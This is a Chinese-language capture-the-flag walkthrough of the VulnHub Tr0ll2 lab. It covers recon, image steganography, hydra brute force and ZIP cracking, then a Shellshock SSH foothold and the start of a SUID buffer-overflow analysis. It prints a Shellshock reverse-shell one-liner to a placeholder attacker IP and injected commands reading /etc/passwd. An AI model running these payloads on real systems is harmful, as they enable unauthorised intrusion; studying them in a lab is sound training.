Day15 Tr0ll2 靶场WP

admin 2025年5月24日04:59:08评论2 views字数 25786阅读85分57秒阅读模式

关注  泷羽Sec泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具

Tr0ll: 2

靶场地址:https://www.vulnhub.com/entry/tr0ll-2,107/

信息收集

sudo arp-scan -l
nmap -sS -sV -A -T5 -p- 172.168.169.139
Day15 Tr0ll2 靶场WP
image-20250515162904860
Day15 Tr0ll2 靶场WP
image-20250515163027831
Day15 Tr0ll2 靶场WP
image-20250519221417573

检查网页源码发现有注释信息,写着作者是Tr0ll,用vim编辑的这个网页,我们就能推测,某个功能可能是ssh,可能是ftp的用户名应该有Tr0ll,之后的收集中要注意找密码。

打开看到一个滑稽的图片,看到web服务器是apache就想到应该要查一下网页的目录。

dirb  http://172.168.169.139/ 
Day15 Tr0ll2 靶场WP
image-20250515163231860

看到有个robots.txt是机器人爬虫的协议,越不让看什么越要看什么。

Day15 Tr0ll2 靶场WP
image-20250515163453360
Day15 Tr0ll2 靶场WP
image-20250519214736014
Day15 Tr0ll2 靶场WP
image-20250519214849054
Day15 Tr0ll2 靶场WP
image-20250519215148809
Day15 Tr0ll2 靶场WP
image-20250519215310469

我们把所有目录都翻一遍可以看到出了以上几个目录有图片,其他几个目录都没有东西。这四个目录是:

http://172.168.169.139/noob/
http://172.168.169.139/keep_trying/
http://172.168.169.139/dont_bother/
http://172.168.169.139/ok_this_is_it/
Day15 Tr0ll2 靶场WP
image-20250519215445660

图片隐写信息

检查网页源代码都没有什么有用信息,那么我们把目光放到图片上来,图片可能又隐写信息。在kali中下载这些图片,kali会自动重命名。可以看到第3次下载的图片大小何其他几个不同。

wget http://172.168.169.139/noob/cat_the_troll.jpg
wget http://172.168.169.139/keep_trying/cat_the_troll.jpg
wget http://172.168.169.139/dont_bother/cat_the_troll.jpg
wget http://172.168.169.139/ok_this_is_it/cat_the_troll.jpg
Day15 Tr0ll2 靶场WP
image-20250519220557890
strings cat_the_troll.jpg.3
Day15 Tr0ll2 靶场WP
image-20250519220734925

base64解码

可以看到第3哥图片比其他几个图片在末尾隐藏了一段话,其中y0ur_self极有可能是目录。打开看到如下文件,应该是base64加密。

Day15 Tr0ll2 靶场WP
image-20250519220919274
Day15 Tr0ll2 靶场WP
image-20250519221237379

这个文件很想一个爆破后留下的,推测密码应该在其中,用base64解码后再用hydra爆破尝试一下。

base64 -d answer.txt > pass.txt
hydra -l Tr0ll -P pass.txt 172.168.169.139 ssh -v
hydra -l Tr0ll -P pass.txt 172.168.169.139 ftp -v 

默认密码尝试ftp登录

但是爆破不成功,这个可能是靶机作者给我们的误导,所以我们换个思路,尝试默认弱口令登录。尝试ftp登录后发现提示用户名Tr0ll,尝试用户名何密码都是这个后成功登录。发现有一个zip文件,下载后查看。

Day15 Tr0ll2 靶场WP
image-20250519222748367

ZIP密码爆破

解压压缩包发现要密码,所以之前的answer.txt并不是登录密码,而是压缩包的密码。

Day15 Tr0ll2 靶场WP
image-20250519222920890

用一下两个命令都可以爆破压缩包密码。

zip2john lmao.zip > lmao.txt && john --wordlist=pass.txt lmao.txt 
fcrackzip -u -D -p pass.txt lmao.zip 
Day15 Tr0ll2 靶场WP
image-20250519223438753
Day15 Tr0ll2 靶场WP
image-20250519223556420

解压后似乎是一个密钥文件,有密钥的话我们就可以ssh登录了。

SSH密钥登录

直接登录时不行的

ssh -i noob [email protected]
Day15 Tr0ll2 靶场WP
image-20250519223911549

用以下命令查看为什么报错

ssh -vvv -i noob [email protected]

---
OpenSSH_9.9p2 Debian-2, OpenSSL 3.5.0 8 Apr 2025
Day15 Tr0ll2 靶场WP
image-20250519224406641

可能因为版本太老了,我尝试 强制客户端使用旧版签名算法在 SSH 命令中指定兼容旧服务器的签名算法:

ssh -i noob [email protected] -o PubkeyAcceptedKeyTypes=+ssh-rsa 
Day15 Tr0ll2 靶场WP
image-20250519224150507

也不行。查资料发现可以利用shellcode漏洞。

CVE-2014-6271 是著名的 Shellshock 漏洞(又称 "Bash 破壳漏洞"),它影响了广泛使用的 Unix/Linux 系统中的 Bash 解释器。该漏洞允许攻击者通过环境变量注入恶意代码,从而远程执行任意命令。以下是漏洞利用的详细方法:

SSH强制命令

若目标允许通过SSH公钥认证并配置了强制命令(如 command="example"):

ssh -i id_rsa user@target '() { :;}; /bin/bash -i >& /dev/tcp/攻击者IP/4444 0>&1'
ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa noob@17
2.168.169.139 '() { :;}; cat /etc/passwd'
ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa [email protected] '() { :;}; /bin/bash' 
Day15 Tr0ll2 靶场WP
image-20250519225937803
python -c 'import pty; pty.spawn("/bin/bash")'

换个好看的shell,到根目录下查看发现有个nothing_to_see_here目录,此地无银三百两。

Day15 Tr0ll2 靶场WP
image-20250519230940687

在这个文件夹下有几个door文件夹,里面有可执行文件,执行了之后,我们就好像踩雷了。所有的命令出了似乎都没有权限了就。

noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door1$ ./r00t
./r00t
Good job, stand by, executing root shell...
BUHAHAHA NOOB!
noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door2$ ./r00t
./r00t

2 MINUTE HARD MODE LOL
Day15 Tr0ll2 靶场WP
image-20250519231455221
Day15 Tr0ll2 靶场WP
image-20250519231531958
Day15 Tr0ll2 靶场WP
image-20250519231646655

查阅其他WP发现用下面这个命令也可以找到三个door文件夹下面的脚本。

find / -perm -4000 -print 2>/dev/null 

是一个用于查找系统中具有 SUID 权限(Set User ID) 文件的命令。发现这三个命令有SUID权限。

Day15 Tr0ll2 靶场WP
image-20250520111123009

扩展命令

  • 查找 SGID 文件(Set Group ID):
find / -perm -2000 -print 2>/dev/null
  • 查找全局可写文件
find / -perm -0002 -type f 2>/dev/null

似乎就没法搞了,只能回复快照。

Day15 Tr0ll2 靶场WP
image-20250520084557539

顺带找一下内核信息

Day15 Tr0ll2 靶场WP
image-20250520093854086
uname -a
Linux Tr0ll2 3.2.0-29-generic-pae #46-Ubuntu SMP Fri Jul 27 17:25:43 UTC 2012 i686 i686 i386 GNU/Linux
lsb_release -a
sh: 0: getcwd() failed: No such file or directory
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.1 LTS
Release:        12.04
Codename:       precise

缓存溢出漏洞

方法一:gdb调试找偏移

我们重新回到ssh登录,再次找到这几个文件夹,这次我们就不执行了。先ls一下看看文件属性,可以看到door1和door2的脚本都是7.2K,只有door3的脚本比较特殊是8.3K

ls -lahR
Day15 Tr0ll2 靶场WP
image-20250520092555818
cd door3
base64 r00t

得到如下结果

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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAP////8AAAAA
AAAAAAEAAAAQAAAADAAAAPSCBAgNAAAAXIUECPX+/2+sgQQIBQAAADyCBAgGAAAAzIEECAoAAABY
AAAACwAAABAAAAAVAAAAAAAAAAMAAAD0nwQIAgAAACgAAAAUAAAAEQAAABcAAADMggQIEQAAAMSC
BAgSAAAACAAAABMAAAAIAAAA/v//b6SCBAj///9vAQAAAPD//2+UggQIAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACifBAgAAAAAAAAAAEaDBAhWgwQI
ZoMECHaDBAiGgwQIAAAAAAAAAABHQ0M6IChVYnVudHUvTGluYXJvIDQuNi4zLTF1YnVudHU1KSA0
LjYuMwAcAAAAAgAAAAAABAAAAAAARIQECGMAAAAAAAAAAAAAABEBAAACAAAAAAAEAUoAAAABcwAA
AD8AAABEhAQIp4QECAAAAAACBAcfAAAAAgEILAAAAAICB1sAAAACBAcaAAAAAgEGLgAAAAICBXkA
AAADBAVpbnQAAggFAAAAAAIIBxUAAAACBAUFAAAABARxAAAAAgEGNQAAAAQEfgAAAAVxAAAABgE6
AAAAAQMBTwAAAESEBAinhAQIAAAAAAIBAAAHVgAAAAEDTwAAAAKRAAeDAAAAAQMCAQAAApEECGJ1
ZgABBQgBAAACdBAJAQ4AAAACAAFrAAAAAecAAAAKawAAAAp4AAAAAAtWhAQIeIQECAwBbgAAAAIA
AQEKTwAAAAAAAAQEawAAAA1xAAAADiUAAAD/AAABEQElDhMLAw4bDhEBEgEQBgAAAiQACws+CwMO
AAADJAALCz4LAwgAAAQPAAsLSRMAAAUmAEkTAAAGLgE/DAMOOgs7CycMSRMRARIBQAYBEwAABwUA
Aw46CzsLSRMCCgAACDQAAwg6CzsLSRMCCgAACS4BPwwDDjoLOwsnDEkTPAwBEwAACgUASRMAAAsL
AREBEgEAAAwuAT8MAw46CzsLJww8DAAADQEBSRMAAA4hAEkTLwsAAABGAAAAAgAqAAAAAQH7Dg0A
AQEBAQAAAAEAAAEAYm9mLmMAAAAAPGJ1aWx0LWluPgAAAAAAAAUCRIQECBS+aAhZvgh1CEsCAgAB
AWxvbmcgbG9uZyBpbnQAc3RyY3B5AGxvbmcgbG9uZyB1bnNpZ25lZCBpbnQAdW5zaWduZWQgY2hh
cgBtYWluAC9ob21lL25vb2IAR05VIEMgNC42LjMAYXJnYwBzaG9ydCB1bnNpZ25lZCBpbnQAZXhp
dABib2YuYwBzaG9ydCBpbnQAYXJndgAAAAAAAQAAAAIAdAQBAAAAAwAAAAIAdAgDAAAAYgAAAAIA
dQhiAAAAYwAAAAIAdAQAAAAAAAAAAAAuc3ltdGFiAC5zdHJ0YWIALnNoc3RydGFiAC5pbnRlcnAA
Lm5vdGUuQUJJLXRhZwAubm90ZS5nbnUuYnVpbGQtaWQALmdudS5oYXNoAC5keW5zeW0ALmR5bnN0
cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbC5keW4ALnJlbC5wbHQALmluaXQALnRl
eHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWVfaGRyAC5laF9mcmFtZQAuY3RvcnMALmR0b3JzAC5q
Y3IALmR5bmFtaWMALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AC5kZWJ1Z19hcmFu
Z2VzAC5kZWJ1Z19pbmZvAC5kZWJ1Z19hYmJyZXYALmRlYnVnX2xpbmUALmRlYnVnX3N0cgAuZGVi
dWdfbG9jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAEAAAAC
AAAAVIEECFQBAAATAAAAAAAAAAAAAAABAAAAAAAAACMAAAAHAAAAAgAAAGiBBAhoAQAAIAAAAAAA
AAAAAAAABAAAAAAAAAAxAAAABwAAAAIAAACIgQQIiAEAACQAAAAAAAAAAAAAAAQAAAAAAAAARAAA
APb//28CAAAArIEECKwBAAAgAAAABQAAAAAAAAAEAAAABAAAAE4AAAALAAAAAgAAAMyBBAjMAQAA
cAAAAAYAAAABAAAABAAAABAAAABWAAAAAwAAAAIAAAA8ggQIPAIAAFgAAAAAAAAAAAAAAAEAAAAA
AAAAXgAAAP///28CAAAAlIIECJQCAAAOAAAABQAAAAAAAAACAAAAAgAAAGsAAAD+//9vAgAAAKSC
BAikAgAAIAAAAAYAAAABAAAABAAAAAAAAAB6AAAACQAAAAIAAADEggQIxAIAAAgAAAAFAAAAAAAA
AAQAAAAIAAAAgwAAAAkAAAACAAAAzIIECMwCAAAoAAAABQAAAAwAAAAEAAAACAAAAIwAAAABAAAA
BgAAAPSCBAj0AgAALgAAAAAAAAAAAAAABAAAAAAAAACHAAAAAQAAAAYAAAAwgwQIMAMAAGAAAAAA
AAAAAAAAABAAAAAEAAAAkgAAAAEAAAAGAAAAkIMECJADAADMAQAAAAAAAAAAAAAQAAAAAAAAAJgA
AAABAAAABgAAAFyFBAhcBQAAGgAAAAAAAAAAAAAABAAAAAAAAACeAAAAAQAAAAIAAAB4hQQIeAUA
ABwAAAAAAAAAAAAAAAQAAAAAAAAApgAAAAEAAAACAAAAlIUECJQFAAA0AAAAAAAAAAAAAAAEAAAA
AAAAALQAAAABAAAAAgAAAMiFBAjIBQAAxAAAAAAAAAAAAAAABAAAAAAAAAC+AAAAAQAAAAMAAAAU
nwQIFA8AAAgAAAAAAAAAAAAAAAQAAAAAAAAAxQAAAAEAAAADAAAAHJ8ECBwPAAAIAAAAAAAAAAAA
AAAEAAAAAAAAAMwAAAABAAAAAwAAACSfBAgkDwAABAAAAAAAAAAAAAAABAAAAAAAAADRAAAABgAA
AAMAAAAonwQIKA8AAMgAAAAGAAAAAAAAAAQAAAAIAAAA2gAAAAEAAAADAAAA8J8ECPAPAAAEAAAA
AAAAAAAAAAAEAAAABAAAAN8AAAABAAAAAwAAAPSfBAj0DwAAIAAAAAAAAAAAAAAABAAAAAQAAADo
AAAAAQAAAAMAAAAUoAQIFBAAAAgAAAAAAAAAAAAAAAQAAAAAAAAA7gAAAAgAAAADAAAAHKAECBwQ
AAAIAAAAAAAAAAAAAAAEAAAAAAAAAPMAAAABAAAAMAAAAAAAAAAcEAAAKgAAAAAAAAAAAAAAAQAA
AAEAAAD8AAAAAQAAAAAAAAAAAAAARhAAACAAAAAAAAAAAAAAAAEAAAAAAAAACwEAAAEAAAAAAAAA
AAAAAGYQAAAVAQAAAAAAAAAAAAABAAAAAAAAABcBAAABAAAAAAAAAAAAAAB7EQAAtwAAAAAAAAAA
AAAAAQAAAAAAAAAlAQAAAQAAAAAAAAAAAAAAMhIAAEoAAAAAAAAAAAAAAAEAAAAAAAAAMQEAAAEA
AAAwAAAAAAAAAHwSAACIAAAAAAAAAAAAAAABAAAAAQAAADwBAAABAAAAAAAAAAAAAAAEEwAAOAAA
AAAAAAAAAAAAAQAAAAAAAAARAAAAAwAAAAAAAAAAAAAAPBMAAEcBAAAAAAAAAAAAAAEAAAAAAAAA
AQAAAAIAAAAAAAAAAAAAACQaAACQBAAAIwAAADMAAAAEAAAAEAAAAAkAAAADAAAAAAAAAAAAAAC0
HgAAHQIAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFSBBAgAAAAAAwABAAAA
AABogQQIAAAAAAMAAgAAAAAAiIEECAAAAAADAAMAAAAAAKyBBAgAAAAAAwAEAAAAAADMgQQIAAAA
AAMABQAAAAAAPIIECAAAAAADAAYAAAAAAJSCBAgAAAAAAwAHAAAAAACkggQIAAAAAAMACAAAAAAA
xIIECAAAAAADAAkAAAAAAMyCBAgAAAAAAwAKAAAAAAD0ggQIAAAAAAMACwAAAAAAMIMECAAAAAAD
AAwAAAAAAJCDBAgAAAAAAwANAAAAAABchQQIAAAAAAMADgAAAAAAeIUECAAAAAADAA8AAAAAAJSF
BAgAAAAAAwAQAAAAAADIhQQIAAAAAAMAEQAAAAAAFJ8ECAAAAAADABIAAAAAAByfBAgAAAAAAwAT
AAAAAAAknwQIAAAAAAMAFAAAAAAAKJ8ECAAAAAADABUAAAAAAPCfBAgAAAAAAwAWAAAAAAD0nwQI
AAAAAAMAFwAAAAAAFKAECAAAAAADABgAAAAAABygBAgAAAAAAwAZAAAAAAAAAAAAAAAAAAMAGgAA
AAAAAAAAAAAAAAADABsAAAAAAAAAAAAAAAAAAwAcAAAAAAAAAAAAAAAAAAMAHQAAAAAAAAAAAAAA
AAADAB4AAAAAAAAAAAAAAAAAAwAfAAAAAAAAAAAAAAAAAAMAIAABAAAAAAAAAAAAAAAEAPH/DAAA
ABSfBAgAAAAAAQASABoAAAAcnwQIAAAAAAEAEwAoAAAAJJ8ECAAAAAABABQANQAAAMCDBAgAAAAA
AgANAEsAAAAcoAQIAQAAAAEAGQBaAAAAIKAECAQAAAABABkAaAAAACCEBAgAAAAAAgANAAEAAAAA
AAAAAAAAAAQA8f90AAAAGJ8ECAAAAAABABIAgQAAAIiGBAgAAAAAAQARAI8AAAAknwQIAAAAAAEA
FACbAAAAMIUECAAAAAACAA0AsQAAAAAAAAAAAAAABADx/7cAAAAUnwQIAAAAAAAAEgDIAAAAKJ8E
CAAAAAABABUA0QAAABSfBAgAAAAAAAASAOQAAAD0nwQIAAAAAAEAFwD6AAAAIIUECAIAAAASAA0A
CgEAACKFBAgAAAAAEgINACEBAAAUoAQIAAAAACAAGAAsAQAAAAAAAAAAAAASAAAAPgEAABygBAgA
AAAAEADx/0UBAABchQQIAAAAABIADgBLAQAAAAAAAAAAAAASAAAAXQEAACCfBAgAAAAAEQITAGoB
AAAUoAQIAAAAABAAGAB3AQAAAAAAAAAAAAAgAAAAhgEAAAAAAAAAAAAAEgAAAJYBAAAYoAQIAAAA
ABECGACjAQAAfIUECAQAAAARAA8AsgEAAAAAAAAAAAAAEgAAAM8BAACwhAQIYQAAABIADQDfAQAA
JKAECAAAAAAQAPH/5AEAAJCDBAgAAAAAEgANAOsBAAB4hQQIBAAAABEADwDyAQAAHKAECAAAAAAQ
APH//gEAAESEBAhjAAAAEgANAAMCAAAAAAAAAAAAACAAAAAXAgAA9IIECAAAAAASAAsAAGNydHN0
dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1JfTElTVF9fAF9fSkNSX0xJU1RfXwBfX2RvX2dsb2Jh
bF9kdG9yc19hdXgAY29tcGxldGVkLjYxNTkAZHRvcl9pZHguNjE2MQBmcmFtZV9kdW1teQBfX0NU
T1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pDUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgA
Ym9mLmMAX19pbml0X2FycmF5X2VuZABfRFlOQU1JQwBfX2luaXRfYXJyYXlfc3RhcnQAX0dMT0JB
TF9PRkZTRVRfVEFCTEVfAF9fbGliY19jc3VfZmluaQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AGRh
dGFfc3RhcnQAcHJpbnRmQEBHTElCQ18yLjAAX2VkYXRhAF9maW5pAHN0cmNweUBAR0xJQkNfMi4w
AF9fRFRPUl9FTkRfXwBfX2RhdGFfc3RhcnQAX19nbW9uX3N0YXJ0X18AZXhpdEBAR0xJQkNfMi4w
AF9fZHNvX2hhbmRsZQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4w
AF9fbGliY19jc3VfaW5pdABfZW5kAF9zdGFydABfZnBfaHcAX19ic3Nfc3RhcnQAbWFpbgBfSnZf
UmVnaXN0ZXJDbGFzc2VzAF9pbml0AA==

然后再在kali中复制解码得到r00t的脚本内容

cat  |base64 -d > r00t
chmod +x door3/r00t
---
# 复制上面的base64内容,然后回车 ctrl D 结束
Day15 Tr0ll2 靶场WP
image-20250520093207841

然后用gbd调试

sudo apt install gdb
gdb r00t 
disas main
Day15 Tr0ll2 靶场WP
image-20250520111527324
  • strcpy 的作用: 将源字符串复制到目标缓冲区,不检查目标缓冲区长度,可能导致缓冲区溢出(Buffer Overflow)。
  • 漏洞场景: 如果目标缓冲区(如栈上的字符数组)较小,而源字符串过长,strcpy 会覆盖栈上的返回地址(或其他关键数据),导致程序崩溃或被控制流劫持。
kali:
ls /usr/share/metasploit-framework/tools/exploit
cp /usr/share/metasploit-framework/tools/exploit/pattern_create.rb ./
./pattern_create.rb -l 1000
-----
